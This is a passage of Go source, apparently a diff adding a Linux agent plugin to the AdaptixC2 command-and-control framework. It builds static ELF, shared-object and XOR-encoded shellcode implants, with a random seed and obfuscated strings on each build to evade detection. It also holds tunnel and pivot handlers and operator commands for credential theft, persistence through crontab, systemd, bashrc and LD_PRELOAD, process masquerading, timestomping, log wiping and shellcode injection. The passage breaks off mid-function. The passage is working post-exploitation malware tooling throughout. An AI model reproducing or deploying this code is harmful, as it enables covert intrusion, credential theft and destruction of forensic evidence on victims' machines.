struct{} + +var ( + Ts Teamserver + ModuleDir string + AgentWatermark string +) + +func InitPlugin(ts any, moduleDir string, watermark string) adaptix.PluginAgent { + ModuleDir = moduleDir + AgentWatermark = watermark + Ts = ts.(Teamserver) + return &PluginAgent{} +} + +func (p *PluginAgent) GetExtender() adaptix.ExtenderAgent { + return &ExtenderAgent{} +} + +func makeProxyTask(packData []byte) adaptix.TaskData { + return adaptix.TaskData{Type: adaptix.TASK_TYPE_PROXY_DATA, Data: packData, Sync: false} +} + +func getStringArg(args map[string]any, key string) (string, error) { + v, ok := args[key].(string) + if !ok { + return "", fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getFloatArg(args map[string]any, key string) (float64, error) { + v, ok := args[key].(float64) + if !ok { + return 0, fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getBoolArg(args map[string]any, key string) bool { + v, _ := args[key].(bool) + return v +} + +/// TUNNEL + +func (ext *ExtenderAgent) TunnelCallbacks() adaptix.TunnelCallbacks { + return adaptix.TunnelCallbacks{ + ConnectTCP: TunnelMessageConnectTCP, + ConnectUDP: TunnelMessageConnectUDP, + WriteTCP: TunnelMessageWriteTCP, + WriteUDP: TunnelMessageWriteUDP, + Close: TunnelMessageClose, + Reverse: TunnelMessageReverse, + Pause: TunnelMessagePause, + Resume: TunnelMessageResume, + } +} + +func TunnelMessageConnectTCP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { + var packData []byte + addr := fmt.Sprintf("%s:%d", address, port) + packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "tcp", ChannelId: channelId, Address: addr}) + cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { + var packData []byte + addr := fmt.Sprintf("%s:%d", address, port) + packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "udp", ChannelId: channelId, Address: addr}) + cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData { + inner, _ := msgpack.Marshal(ParamsTunnelWrite{ChannelId: channelId, Data: data}) + cmd := Command{Code: COMMAND_TUNNEL_WRITE, Data: inner} + packData, _ := msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData { + inner, _ := msgpack.Marshal(ParamsTunnelWrite{ChannelId: channelId, Data: data}) + cmd := Command{Code: COMMAND_TUNNEL_WRITE, Data: inner} + packData, _ := msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageClose(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelStop{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_STOP, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData { + var packData []byte + return makeProxyTask(packData) +} + +func TunnelMessagePause(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelPause{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_PAUSE, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageResume(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelResume{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_RESUME, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +/// TERMINAL + +func (ext *ExtenderAgent) TerminalCallbacks() adaptix.TerminalCallbacks { + return adaptix.TerminalCallbacks{ + Start: TerminalMessageStart, + Write: TerminalMessageWrite, + Close: TerminalMessageClose, + } +} + +func TerminalMessageStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTerminalStart{TermId: terminalId, Program: program, Height: sizeH, Width: sizeW}) + cmd := Command{Code: COMMAND_TERMINAL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TerminalMessageWrite(terminalId int, oemCP int, data []byte) adaptix.TaskData { + return makeProxyTask(data) +} + +func TerminalMessageClose(terminalId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTerminalStop{TermId: terminalId}) + cmd := Command{Code: COMMAND_TERMINAL_STOP, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +////// PLUGIN AGENT + +type GenerateConfig struct { + Format string `json:"format"` + Arch string `json:"arch"` + ReconnectTimeout string `json:"reconn_timeout"` + ReconnectCount int `json:"reconn_count"` + OpsecEnabled bool `json:"opsec_enabled"` +} + +var SrcPath = "src_macos" // Go fallback (unused for native C builds) + +func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) { + var agentProfiles [][]byte + + for _, transportProfile := range profile.ListenerProfiles { + + var listenerMap map[string]any + if err := json.Unmarshal(transportProfile.Profile, &listenerMap); err != nil { + return nil, err + } + + var ( + generateConfig GenerateConfig + profileData []byte + ) + + err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig) + if err != nil { + return nil, err + } + + agentWatermark, err := strconv.ParseInt(AgentWatermark, 16, 64) + if err != nil { + return nil, err + } + + listenerWatermark, err := strconv.ParseInt(transportProfile.Watermark, 16, 64) + if err != nil { + return nil, err + } + + encrypt_key, _ := listenerMap["encrypt_key"].(string) + encryptKey, err := hex.DecodeString(encrypt_key) + if err != nil { + return nil, err + } + + reconnectTimeout, err := parseDurationToSeconds(generateConfig.ReconnectTimeout) + if err != nil { + return nil, err + } + + protocol, _ := listenerMap["protocol"].(string) + switch protocol { + + case "tcp": + + tcp_banner, _ := listenerMap["tcp_banner"].(string) + + servers, _ := listenerMap["callback_addresses"].(string) + + servers = strings.ReplaceAll(servers, " ", "") + servers = strings.ReplaceAll(servers, "\n", ",") + servers = strings.TrimSuffix(servers, ",") + addresses := strings.Split(servers, ",") + + var sslKey []byte + var sslCert []byte + var caCert []byte + Ssl, _ := listenerMap["ssl"].(bool) + if Ssl { + ssl_key, _ := listenerMap["client_key"].(string) + sslKey, err = base64.StdEncoding.DecodeString(ssl_key) + if err != nil { + return nil, err + } + + ssl_cert, _ := listenerMap["client_cert"].(string) + sslCert, err = base64.StdEncoding.DecodeString(ssl_cert) + if err != nil { + return nil, err + } + + ca_cert, _ := listenerMap["ca_cert"].(string) + caCert, err = base64.StdEncoding.DecodeString(ca_cert) + if err != nil { + return nil, err + } + } + + profile := Profile{ + Type: uint(agentWatermark), + ListenerWatermark: uint(listenerWatermark), + Addresses: addresses, + BannerSize: len(tcp_banner), + ConnTimeout: reconnectTimeout, + ConnCount: generateConfig.ReconnectCount, + UseSSL: Ssl, + SslCert: sslCert, + SslKey: sslKey, + CaCert: caCert, + } + profileData, _ = msgpack.Marshal(profile) + + case "bind_tcp": + port, _ := listenerMap["port_bind"].(float64) + + profile := Profile{ + Type: uint(agentWatermark), + ListenerWatermark: uint(listenerWatermark), + Addresses: []string{}, + BannerSize: 0, + ConnTimeout: 0, + ConnCount: 0, + BindPort: int(port), + } + profileData, _ = msgpack.Marshal(profile) + + default: + return nil, errors.New("protocol unknown") + } + + extHandler := ExtenderAgent{} + profileData, _ = extHandler.Encrypt(profileData, encryptKey) + profileData = append(encryptKey, profileData...) + + profileString := "" + for _, b := range profileData { + profileString += fmt.Sprintf("\\x%02x", b) + } + agentProfiles = append(agentProfiles, []byte(profileString)) + } + return agentProfiles, nil +} + +/// Native C agent build constants + +var ( + NativeSrcDir = "src_agent/agent" + NativeObjFiles = []string{"crt", "msgpack", "crypt", "connector", "agent_info", "commander", "tasks_fs", "tasks_proc", "tasks_linux", "tasks_opsec", "jobs", "tasks_async", "tasks_net", "proxyfire", "elf_resolve", "opsec", "pivot", "tasks_pivot", "ax_vsnprintf", "bof_api", "elf_bof"} +) + +// Compiler selection based on architecture +func nativeCompiler(arch string) string { + if arch == "aarch64" || arch == "arm64" { + return "aarch64-linux-gnu-gcc" + } + return "musl-gcc" +} + +func nativeCFlags(arch string) string { + base := "-std=gnu11 -Os -fno-stack-protector -fno-builtin -fno-unwind-tables -fno-asynchronous-unwind-tables -fno-ident -Wall -Wextra -Wno-unused-parameter -Wno-unused-function" + if arch == "aarch64" || arch == "arm64" { + return base + " -DARCH_AARCH64" + } + return base + " -DARCH_X86_64" +} + +func nativeLFlags(arch string) string { + if arch == "aarch64" || arch == "arm64" { + return "-static -nostdlib -nodefaultlibs -s -Wl,--build-id=none" + } + return "-static -nostdlib -nodefaultlibs -s -Wl,--build-id=none" +} + +func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [][]byte) ([]byte, string, error) { + var generateConfig GenerateConfig + + err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig) + if err != nil { + return nil, "", err + } + + currentDir := ModuleDir + tempDir, err := os.MkdirTemp("", "ax-linux-*") + if err != nil { + return nil, "", err + } + + arch := generateConfig.Arch + if arch == "" { + arch = "x86_64" + } + + switch generateConfig.Format { + case "Binary ELF (Native)": + return p.buildNativeELF(profile, agentProfiles, generateConfig, currentDir, tempDir, arch) + case "Shared Object (Native)": + return p.buildNativeSO(profile, agentProfiles, generateConfig, currentDir, tempDir, arch) + case "Shellcode x86_64 (Native)": + return p.buildNativeShellcodeX64(profile, agentProfiles, generateConfig, currentDir, tempDir) + case "Shellcode ARM64 (Native)": + return p.buildNativeShellcodeARM64(profile, agentProfiles, generateConfig, currentDir, tempDir) + default: + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("unknown format: %s", generateConfig.Format) + } +} + +// buildNativeELF — Static ELF binary (no dynamic dependencies) +func (p *PluginAgent) buildNativeELF(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string, arch string) ([]byte, string, error) { + Filename := "agent_native.elf" + buildPath := tempDir + "/" + Filename + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Target: linux/%s (Native C, ELF static)", arch)) + + srcDir := NativeSrcDir + + // Step 1: Generate per-payload headers + configContent := generateNativeConfig(agentProfiles) + if err := os.WriteFile(tempDir+"/config.h", []byte(configContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write config.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Config: %d profile(s) embedded", len(agentProfiles))) + + djb2Seed := cryptoRandUint32() + if err := os.WriteFile(tempDir+"/ApiDefines.h", []byte(generateLinuxApiDefines(djb2Seed)), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write ApiDefines.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x (per-payload polymorphism)", djb2Seed)) + + if err := os.WriteFile(tempDir+"/strings_obf.h", []byte(generateObfStrings()), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write strings_obf.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "XOR string obfuscation generated (per-payload key)") + + // Step 2: Compile + compiler := nativeCompiler(arch) + cFlags := fmt.Sprintf("%s -I %s -I %s -DDJB2_SEED=%dU", nativeCFlags(arch), tempDir, srcDir, djb2Seed) + if generateConfig.OpsecEnabled { + cFlags += " -DOPSEC_ENABLED" + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (per-payload)...") + + compileSrc := func(srcFile string, outputName string) error { + outPath := tempDir + "/" + outputName + ".o" + cmdStr := fmt.Sprintf("%s %s -c %s -o %s", compiler, cFlags, srcFile, outPath) + return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr) + } + + for _, ofile := range NativeObjFiles { + if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile %s: %w", ofile, err) + } + } + if err := compileSrc(srcDir+"/main.c", "main"); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile main: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled successfully") + + // Step 3: Link + var objectFiles []string + for _, ofile := range NativeObjFiles { + objectFiles = append(objectFiles, tempDir+"/"+ofile+".o") + } + objectFiles = append(objectFiles, tempDir+"/main.o") + + lFlags := nativeLFlags(arch) + linkCmd := fmt.Sprintf("%s %s -o %s %s", compiler, lFlags, buildPath, strings.Join(objectFiles, " ")) + if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("link: %w", err) + } + + // Step 4: Read output + Payload, err := os.ReadFile(buildPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes (native ELF %s)", len(Payload), arch)) + + return Payload, Filename, nil +} + +// buildNativeSO — Shared Object (dlopen-loadable) +func (p *PluginAgent) buildNativeSO(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string, arch string) ([]byte, string, error) { + Filename := "agent_native.so" + buildPath := tempDir + "/" + Filename + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Target: linux/%s (Native C, SO)", arch)) + + srcDir := NativeSrcDir + + // Generate per-payload headers + configContent := generateNativeConfig(agentProfiles) + if err := os.WriteFile(tempDir+"/config.h", []byte(configContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write config.h: %w", err) + } + + djb2Seed := cryptoRandUint32() + if err := os.WriteFile(tempDir+"/ApiDefines.h", []byte(generateLinuxApiDefines(djb2Seed)), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write ApiDefines.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x", djb2Seed)) + + if err := os.WriteFile(tempDir+"/strings_obf.h", []byte(generateObfStrings()), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write strings_obf.h: %w", err) + } + + // Compile with -fPIC -DBUILD_SO + compiler := nativeCompiler(arch) + cFlags := fmt.Sprintf("%s -fPIC -DBUILD_SO -I %s -I %s -DDJB2_SEED=%dU", nativeCFlags(arch), tempDir, srcDir, djb2Seed) + if generateConfig.OpsecEnabled { + cFlags += " -DOPSEC_ENABLED" + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (SO mode, per-payload)...") + + compileSrc := func(srcFile string, outputName string) error { + outPath := tempDir + "/" + outputName + ".o" + cmdStr := fmt.Sprintf("%s %s -c %s -o %s", compiler, cFlags, srcFile, outPath) + return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr) + } + + for _, ofile := range NativeObjFiles { + if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile %s: %w", ofile, err) + } + } + if err := compileSrc(srcDir+"/main.c", "main"); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile main: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled (SO mode)") + + // Link as shared object + var objectFiles []string + for _, ofile := range NativeObjFiles { + objectFiles = append(objectFiles, tempDir+"/"+ofile+".o") + } + objectFiles = append(objectFiles, tempDir+"/main.o") + + linkCmd := fmt.Sprintf("%s -shared -nostdlib -nodefaultlibs -s -Wl,--build-id=none -o %s %s", compiler, buildPath, strings.Join(objectFiles, " ")) + if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("link SO: %w", err) + } + + Payload, err := os.ReadFile(buildPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes (native SO %s)", len(Payload), arch)) + + return Payload, Filename, nil +} + +// buildNativeShellcodeX64 — SO + XOR encoder with x86_64 decoder stub +func (p *PluginAgent) buildNativeShellcodeX64(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) { + Filename := "agent_shellcode.x64.bin" + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: linux/x86_64 (Shellcode, Native C)") + + // Build SO first + soPayload, _, err := p.buildNativeSO(profile, agentProfiles, generateConfig, currentDir, tempDir, "x86_64") + if err != nil { + return nil, "", err + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("SO size: %d bytes, encoding with XOR...", len(soPayload))) + + shellcode, err := xorEncodeShellcodeX64(soPayload) + if err != nil { + return nil, "", fmt.Errorf("xor encode x64: %w", err) + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("Shellcode size: %d bytes (SO %d + stub)", len(shellcode), len(soPayload))) + + return shellcode, Filename, nil +} + +// buildNativeShellcodeARM64 — SO + XOR encoder with ARM64 decoder stub +func (p *PluginAgent) buildNativeShellcodeARM64(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) { + Filename := "agent_shellcode.arm64.bin" + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: linux/aarch64 (Shellcode ARM64, Native C)") + + // Build SO first (ARM64) + soPayload, _, err := p.buildNativeSO(profile, agentProfiles, generateConfig, currentDir, tempDir, "aarch64") + if err != nil { + return nil, "", err + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("SO size: %d bytes, encoding with XOR...", len(soPayload))) + + shellcode, err := xorEncodeShellcodeARM64(soPayload) + if err != nil { + return nil, "", fmt.Errorf("xor encode arm64: %w", err) + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("Shellcode size: %d bytes (SO %d + stub)", len(shellcode), len(soPayload))) + + return shellcode, Filename, nil +} + +// parseEscapedBytes converts "\x01\x02\xff" to raw bytes +func parseEscapedBytes(escaped []byte) []byte { + s := string(escaped) + var result []byte + for i := 0; i < len(s); { + if i+3 < len(s) && s[i] == '\\' && s[i+1] == 'x' { + b, err := strconv.ParseUint(s[i+2:i+4], 16, 8) + if err == nil { + result = append(result, byte(b)) + i += 4 + continue + } + } + result = append(result, s[i]) + i++ + } + return result +} + +// generateNativeConfig creates config.h with encrypted profiles as C byte arrays +func generateNativeConfig(agentProfiles [][]byte) string { + var sb strings.Builder + sb.WriteString("// Auto-generated — per-payload config\n") + sb.WriteString("// Do not edit. Regenerated on each build.\n") + sb.WriteString("#ifndef CONFIG_H\n#define CONFIG_H\n\n") + sb.WriteString("#include \n\n") + sb.WriteString(fmt.Sprintf("#define PROFILE_COUNT %d\n\n", len(agentProfiles))) + + for i, escapedProf := range agentProfiles { + rawProf := parseEscapedBytes(escapedProf) + sb.WriteString(fmt.Sprintf("static const uint8_t enc_profile_%d[] = {\n ", i)) + for j := 0; j < len(rawProf); j++ { + if j > 0 && j%16 == 0 { + sb.WriteString("\n ") + } + sb.WriteString(fmt.Sprintf("0x%02x", rawProf[j])) + if j < len(rawProf)-1 { + sb.WriteString(", ") + } + } + sb.WriteString("\n};\n") + sb.WriteString(fmt.Sprintf("static const uint32_t enc_profile_%d_size = %d;\n\n", i, len(rawProf))) + } + + sb.WriteString("static const uint8_t* enc_profiles[] = {\n") + for i := range agentProfiles { + sb.WriteString(fmt.Sprintf(" enc_profile_%d,\n", i)) + } + sb.WriteString("};\n\n") + + sb.WriteString("static const uint32_t enc_profile_sizes[] = {\n") + for i := range agentProfiles { + sb.WriteString(fmt.Sprintf(" enc_profile_%d_size,\n", i)) + } + sb.WriteString("};\n\n") + + sb.WriteString("#endif // CONFIG_H\n") + return sb.String() +} + +func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.ExtenderAgent, error) { + var agentData adaptix.AgentData + + var sessionInfo SessionInfo + err := msgpack.Unmarshal(beat, &sessionInfo) + if err != nil { + return adaptix.AgentData{}, nil, err + } + + agentData.ACP = int(sessionInfo.Acp) + agentData.OemCP = int(sessionInfo.Oem) + agentData.Pid = fmt.Sprintf("%v", sessionInfo.PID) + agentData.Tid = "" + agentData.Elevated = sessionInfo.Elevated + agentData.InternalIP = sessionInfo.Ipaddr + + if sessionInfo.Os == "linux" { + agentData.Os = adaptix.OS_LINUX + agentData.OsDesc = sessionInfo.OSVersion + // Determine arch from OS version string or default + agentData.Arch = "x86_64" + if strings.Contains(sessionInfo.OSVersion, "aarch64") || strings.Contains(sessionInfo.OSVersion, "arm64") { + agentData.Arch = "arm64" + } + } else { + agentData.Os = adaptix.OS_UNKNOWN + return agentData, nil, errors.New("linux agent received non-linux OS") + } + + agentData.SessionKey = sessionInfo.EncryptKey + agentData.Domain = "" + agentData.Computer = sessionInfo.Host + agentData.Username = sessionInfo.User + agentData.Process = sessionInfo.Process + + agentData.Sleep = 0 + agentData.Jitter = 0 + + return agentData, &ExtenderAgent{}, nil +} + +/// AGENT HANDLER + +func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonce := make([]byte, gcm.NonceSize()) + _, err = io.ReadFull(rand.Reader, nonce) + if err != nil { + return nil, err + } + ciphertext := gcm.Seal(nonce, nonce, data, nil) + + return ciphertext, nil +} + +func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonceSize := gcm.NonceSize() + if len(data) < nonceSize { + return nil, fmt.Errorf("ciphertext too short") + } + + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return nil, err + } + + return plaintext, nil +} + +func (ext *ExtenderAgent) PackTasks(agentData adaptix.AgentData, tasks []adaptix.TaskData) ([]byte, error) { + var packData []byte + + var objects [][]byte + var command Command + + for _, taskData := range tasks { + taskId, err := strconv.ParseUint(taskData.TaskId, 16, 64) + if err != nil { + return nil, err + } + + _ = msgpack.Unmarshal(taskData.Data, &command) + command.Id = uint(taskId) + + cmd, _ := msgpack.Marshal(command) + + objects = append(objects, cmd) + } + + message := Message{ + Type: 1, + Object: objects, + } + + packData, _ = msgpack.Marshal(message) + + return packData, nil +} + +func (ext *ExtenderAgent) PivotPackData(pivotId string, data []byte) (adaptix.TaskData, error) { + id, _ := strconv.ParseUint(pivotId, 16, 64) + + // Build Command{code: PIVOT_EXEC, data: {pivot_id, data}} + innerData, _ := msgpack.Marshal(ParamsPivotExec{ + PivotId: uint32(id), + Data: data, + }) + cmd := Command{ + Code: COMMAND_PIVOT_EXEC, + Data: innerData, + } + packData, _ := msgpack.Marshal(cmd) + + taskData := adaptix.TaskData{ + TaskId: fmt.Sprintf("%08x", mrand.Uint32()), + Type: adaptix.TASK_TYPE_PROXY_DATA, + Data: packData, + Sync: false, + } + + return taskData, nil +} + +func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) { + var ( + taskData adaptix.TaskData + messageData adaptix.ConsoleMessageData + err error + ) + + command, ok := args["command"].(string) + if !ok { + return taskData, messageData, errors.New("'command' must be set") + } + subcommand, _ := args["subcommand"].(string) + + taskData = adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + Sync: true, + } + + messageData = adaptix.ConsoleMessageData{ + Status: adaptix.MESSAGE_INFO, + Text: "", + } + messageData.Message, _ = args["message"].(string) + + var cmd Command + + switch command { + + case "cat": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCat{Path: path}) + cmd = Command{Code: COMMAND_CAT, Data: packerData} + + case "cd": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCd{Path: path}) + cmd = Command{Code: COMMAND_CD, Data: packerData} + + case "cp": + src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCp{Src: src, Dst: dst}) + cmd = Command{Code: COMMAND_CP, Data: packerData} + + case "download": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + + r := make([]byte, 4) + _, _ = rand.Read(r) + taskId := binary.BigEndian.Uint32(r) + + taskData.TaskId = fmt.Sprintf("%08x", taskId) + + packerData, _ := msgpack.Marshal(ParamsDownload{Path: path, Task: taskData.TaskId}) + cmd = Command{Code: COMMAND_DOWNLOAD, Data: packerData} + + case "exit": + cmd = Command{Code: COMMAND_EXIT, Data: nil} + + case "getuid": + cmd = Command{Code: COMMAND_GETUID, Data: nil} + + case "env": + cmd = Command{Code: COMMAND_ENV, Data: nil} + + case "netstat": + cmd = Command{Code: COMMAND_NETSTAT, Data: nil} + + case "mounts": + cmd = Command{Code: COMMAND_MOUNTS, Data: nil} + + case "edr": + cmd = Command{Code: COMMAND_EDR, Data: nil} + + case "creds": + credType, _ := getStringArg(args, "type") + if credType == "" { + credType = "all" + } + packerData, _ := msgpack.Marshal(ParamsCreds{Type: credType}) + cmd = Command{Code: COMMAND_CREDS, Data: packerData} + + case "persist": + params := ParamsPersist{Action: subcommand} + switch subcommand { + case "crontab": + params.Cmd, _ = getStringArg(args, "cmd") + params.Schedule, _ = getStringArg(args, "schedule") + case "systemd": + params.Name, _ = getStringArg(args, "name") + params.Cmd, _ = getStringArg(args, "cmd") + case "bashrc": + params.Cmd, _ = getStringArg(args, "cmd") + case "ldpreload": + params.Path, _ = getStringArg(args, "path") + case "remove": + params.Type, _ = getStringArg(args, "type") + params.Name, _ = getStringArg(args, "name") + case "status": + // no extra args + default: + err = errors.New("subcommand must be: crontab, systemd, bashrc, ldpreload, remove, status") + goto RET + } + packerData, _ := msgpack.Marshal(params) + cmd = Command{Code: COMMAND_PERSIST, Data: packerData} + + case "container": + action := subcommand + if action == "" { + action = "detect" + } + packerData, _ := msgpack.Marshal(ParamsContainer{Action: action}) + cmd = Command{Code: COMMAND_CONTAINER, Data: packerData} + + case "masquerade": + name, err := getStringArg(args, "name") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMasquerade{Name: name}) + cmd = Command{Code: COMMAND_MASQUERADE, Data: packerData} + + case "timestomp": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + timestamp := uint64(0) + if ts, ok := args["timestamp"].(float64); ok { + timestamp = uint64(ts) + } + packerData, _ := msgpack.Marshal(ParamsTimestomp{Path: path, Timestamp: timestamp}) + cmd = Command{Code: COMMAND_TIMESTOMP, Data: packerData} + + case "cleanlog": + cmd = Command{Code: COMMAND_CLEANLOG, Data: nil} + + case "inject": + pidF, err := getFloatArg(args, "pid") + if err != nil { + goto RET + } + scData, ok := args["shellcode"].([]byte) + if !ok { + // Try as base64 string + scStr, err2 := getStringArg(args, "shellcode") + if err2 != nil { + err = errors.New("missing 'shellcode' parameter") + goto RET + } + var err3 error + scData, err3 = base64.StdEncoding.DecodeString(scStr) + if err3 != nil { + err = fmt.Errorf("invalid base64 shellcode: %v", err3) + goto RET + } + } + packerData, _ := msgpack.Marshal(ParamsInject{Pid: int(pidF), Shellcode: scData}) + cmd = Command{Code: COMMAND_INJECT, Data: packerData} + + case "migrate": + cmd = Command{Code: COMMAND_MIGRATE, Data: nil} + + case "job": + if subcommand == "list" { + cmd = Command{Code: COMMAND_JOB_LIST, Data: nil} + + } else if subcommand == "kill" { + jobId, err := getStringArg(args, "task_id") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsJobKill{Id: jobId}) + cmd = Command{Code: COMMAND_JOB_KILL, Data: packerData} + + } else { + err = errors.New("subcommand must be 'list' or 'kill'") + goto RET + } + + case "kill": + pid, err := getFloatArg(args, "pid") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsKill{Pid: int(pid)}) + cmd = Command{Code: COMMAND_KILL, Data: packerData} + + case "ls": + dir, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsLs{Path: dir}) + cmd = Command{Code: COMMAND_LS, Data: packerData} + + case "mv": + 